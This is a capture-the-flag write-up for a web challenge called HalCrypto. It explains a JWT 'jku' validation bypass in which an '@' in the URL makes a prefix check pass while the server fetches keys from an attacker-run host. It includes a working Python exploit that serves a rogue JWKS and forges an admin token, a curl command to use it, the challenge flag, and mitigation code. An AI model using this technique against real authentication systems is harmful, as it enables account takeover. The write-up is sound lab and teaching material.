Amazon AppSec CTF: HalCrypto

Executive Summary

  • Challenge: HalCrypto
  • Category: Web Security
  • Vulnerability: JWT validation bypass via URL confusion with @ symbol
  • Impact: Authentication bypass leading to admin access
  • Flag: HTB{r3d1r3c73d_70_my_s3cr37s}

Vulnerability Overview

Attack Flow Diagram

Attack Flow Diagram

Source-to-Sink Analysis

1. Entry Point - JWT Authentication (Source)

The vulnerability starts when the AuthMiddleware processes JWT tokens:

// middleware/AuthMiddleware.js:5-34
module.exports = async (req, res, next) => {
    try {
        if (req.cookies.session === undefined) {
            if (!req.is('application/json')) return res.redirect('/');
            return res.status(401).send(response('Authentication required!'));
        }
        return JWTHelper.getHeader(req.cookies.session)
            .then(header => {
                if (header.jku && header.kid) {
                    // VULNERABILITY: Weak URL validation using lastIndexOf
                    if (header.jku.lastIndexOf(config.AUTH_PROVIDER, 0) !== 0) {
                        return res.status(500).send(response('The JWKS endpoint is not from localhost!'));
                    }
                    return JWTHelper.getPublicKey(header.jku, header.kid)
                        .then(pubkey => {
                            return JWTHelper.verify(req.cookies.session, pubkey)
                                .then(data => {
                                    req.user = data.user;
                                    return next();
                                })
                                .catch(() => res.status(403).send(response('Authentication token could not be verified!')));
                        })
                        .catch(() => res.redirect('/logout'));
                }
                return res.status(500).send(response('Missing required claims in JWT!'));
            })
            .catch(err => res.status(500).send(response("Invalid session token supplied!")));
    } catch (e) {
        return res.status(500).send(response(e.toString()));
    }
}

2. The Vulnerable Validation - String-based URL Check

The critical vulnerability lies in line 14 of AuthMiddleware.js:

// The vulnerable check
if (header.jku.lastIndexOf(config.AUTH_PROVIDER, 0) !== 0) {
    return res.status(500).send(response('The JWKS endpoint is not from localhost!'));
}

Why this is vulnerable:

  • lastIndexOf(searchString, 0) only checks if the string starts with searchString
  • It’s a simple string comparison, not proper URL parsing
  • Doesn’t account for URL syntax like authentication credentials (user:pass@host)

3. Configuration - Expected AUTH_PROVIDER

// config.js:11-15
if (env == 'prod') {
    this.AUTH_PROVIDER = 'http://halcrypto.htb:1337';
} else {
    this.AUTH_PROVIDER = 'http://127.0.0.1:1337';
}

The application expects JKU URLs to start with either:

  • Production: http://halcrypto.htb:1337
  • Development: http://127.0.0.1:1337

4. JWKS Fetching - The Sink

The JWTHelper fetches the public key from the attacker-controlled URL:

// helpers/JWTHelper.js:52-67
async getPublicKey(jku, kid) {
    return new Promise(async (resolve, reject) => {
        client = jwksClient({
            jwksUri: jku,  // Attacker-controlled URL
            fetcher: this.nodeFetch,
            timeout: 30000
        });
        client.getSigningKey(kid)
            .then(key => {
                resolve(key.getPublicKey());
            })
            .catch(e => {
                reject(e);
            });
    });
}

The nodeFetch function that actually makes the HTTP request:

// helpers/JWTHelper.js:6-16
async nodeFetch(url) {
    return new Promise(async (resolve, reject) => {
        try {
            res = await fetch(url);  // Fetches from attacker's server
            resolve(res.json());
        }
        catch (e) {
            reject(e);
        }
    });
}

URL Confusion Attack Explained

How URL Parsing Works

Key Insight: The validation sees 127.0.0.1:1337 as part of the URL, but HTTP clients interpret it as authentication credentials and connect to attacker.com instead.

Exploit Chain

Detailed Exploit Flow

Exploit Sequence

Exploit Implementation

1. Malicious JWKS Server (solve.py)

from flask import Flask, jsonify
from jwcrypto import jwk
import jwt, time

# Generate RSA key pair
key = jwk.JWK.generate(kty='RSA', size=2048)
pub_jwk = jwk.JWK()
pub_jwk.import_key(**key.export(as_dict=True, private_key=False))
kid = 'attack-key-1'

# Format JWKS to match application expectations
pub_jwk_dict = pub_jwk.export(as_dict=True)
pub_jwk_dict['kid'] = kid
pub_jwk_dict['alg'] = 'RS256'
pub_jwk_dict['use'] = 'sig'
jwks = {'keys': [pub_jwk_dict]}

app = Flask(__name__)

@app.get("/.well-known/jwks.json")
def jwks_endpoint():
    return jsonify(jwks)

if __name__ == "__main__":
    your_host = "mytuhc90.relais.dev"  # Tunnel endpoint

    # Craft malicious JKU URL with @ symbol for URL confusion
    jku = f"http://127.0.0.1:1337@{your_host}/.well-known/jwks.json"

    # Create admin JWT payload
    payload = {
        "user": {
            "username": "admin",
            "is_admin": 1  # Elevate privileges
        },
        "iat": int(time.time()),
        "exp": int(time.time()) + 3600
    }

    # Sign with our private key
    priv_pem = key.export_to_pem(private_key=True, password=None)
    token = jwt.encode(
        payload,
        priv_pem,
        algorithm="RS256",
        headers={
            "jku": jku,  # Points to our server but passes validation
            "kid": kid   # Key ID to find in our JWKS
        }
    )

    print("Use this token as the 'session' cookie:")
    print(token)
    app.run(host="0.0.0.0", port=8000)

2. Generated Malicious JWT Structure

{
  "header": {
    "alg": "RS256",
    "jku": "http://127.0.0.1:[email protected]/.well-known/jwks.json",
    "kid": "attack-key-1",
    "typ": "JWT"
  },
  "payload": {
    "user": {
      "username": "admin",
      "is_admin": 1
    },
    "iat": 1757660738,
    "exp": 1757664338
  },
  "signature": "[signed with attacker's private key]"
}

3. Attack Execution

# Step 1: Start malicious JWKS server
python3 solve.py

# Step 2: Use generated token
TOKEN="eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly8xMjcuMC4wLjE6MTMzN0BteXR1aGM5MC5yZWxhaXMuZGV2Ly53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6ImF0dGFjay1rZXktMSIsInR5cCI6IkpXVCJ9..."

# Step 3: Access admin dashboard with forged token
curl -s http://halcrypto.htb:34139/dashboard \
  -H "Cookie: session=$TOKEN" \
  | grep -o 'HTB{[^}]*}'

Vulnerability Root Cause Analysis

Why the Attack Succeeds

Vulnerability Chain

Security Issues Identified

  1. Weak URL Validation

    • Uses lastIndexOf string operation instead of proper URL parsing
    • Doesn’t validate URL structure or components
  2. URL Parsing Ambiguity

    • Different interpretation of @ symbol between validator and HTTP client
    • No sanitization of URL authentication components
  3. JWKS Trust Model

    • Blindly trusts any JWKS from “validated” URL
    • No certificate pinning or additional verification
  4. Missing Security Controls

    • No egress filtering for JWKS fetching
    • No allowlist of trusted JWKS endpoints
    • Static configuration without runtime validation

Mitigation Recommendations

1. Proper URL Validation

// Secure URL validation using URL parsing
const validateJKU = (jku) => {
    const allowedHosts = ['127.0.0.1:1337', 'halcrypto.htb:1337'];

    try {
        const url = new URL(jku);

        // Check for authentication credentials
        if (url.username || url.password) {
            throw new Error('URLs with credentials are not allowed');
        }

        // Validate host
        if (!allowedHosts.includes(url.host)) {
            throw new Error('Unauthorized JWKS host');
        }

        // Validate protocol
        if (url.protocol !== 'http:' && url.protocol !== 'https:') {
            throw new Error('Invalid protocol');
        }

        return true;
    } catch (e) {
        return false;
    }
};

2. JWKS Endpoint Allowlisting

// Strict allowlist approach
const ALLOWED_JWKS_ENDPOINTS = [
    'http://127.0.0.1:1337/.well-known/jwks.json',
    'http://halcrypto.htb:1337/.well-known/jwks.json'
];

const validateJWKS = (jku) => {
    return ALLOWED_JWKS_ENDPOINTS.includes(jku);
};

3. Certificate Pinning

// Pin expected certificates or keys
const PINNED_KEYS = {
    'http://127.0.0.1:1337/.well-known/jwks.json': {
        kid: 'expected-key-id',
        thumbprint: 'sha256:...'
    }
};

const validateKey = (jku, key) => {
    const pinned = PINNED_KEYS[jku];
    return pinned && key.kid === pinned.kid;
};

4. Network Segmentation

// Implement egress filtering
const fetchJWKS = async (url) => {
    // Parse and validate URL
    const parsed = new URL(url);

    // Block private networks
    if (isPrivateIP(parsed.hostname)) {
        throw new Error('Access to private networks denied');
    }

    // Use a proxy for external requests
    return await fetch(url, {
        agent: trustedProxy,
        timeout: 5000
    });
};

Attack Timeline

  1. Initial Reconnaissance - Identified JWT-based authentication with JKU header
  2. Source Code Analysis - Found vulnerable lastIndexOf validation
  3. URL Confusion Research - Discovered @ symbol bypass technique
  4. Exploit Development - Created malicious JWKS server and JWT generator
  5. Tunnel Setup - Established external access via relais.dev
  6. Attack Execution - Successfully bypassed authentication
  7. Flag Retrieval - Accessed admin dashboard and extracted flag

Flag Extraction

Successfully accessing /dashboard with the forged JWT revealed:

<div class="c-balance">
    <div class="row">
        <div class="col">
            <p class="pr-h1 text-uppercase">flag</p>
            <p class="pr-num"> HTB{r3d1r3c73d_70_my_s3cr37s} </p>
        </div>
    </div>
</div>

Lessons Learned

  1. URL Parsing Complexity - URLs have many components that can be interpreted differently
  2. String Operations ≠ Security - Never use string operations for security validations
  3. Trust Boundaries - External resources should never be blindly trusted
  4. Defense in Depth - Multiple layers of validation are necessary
  5. Standards Compliance - Follow JWT security best practices (RFC 8725)

References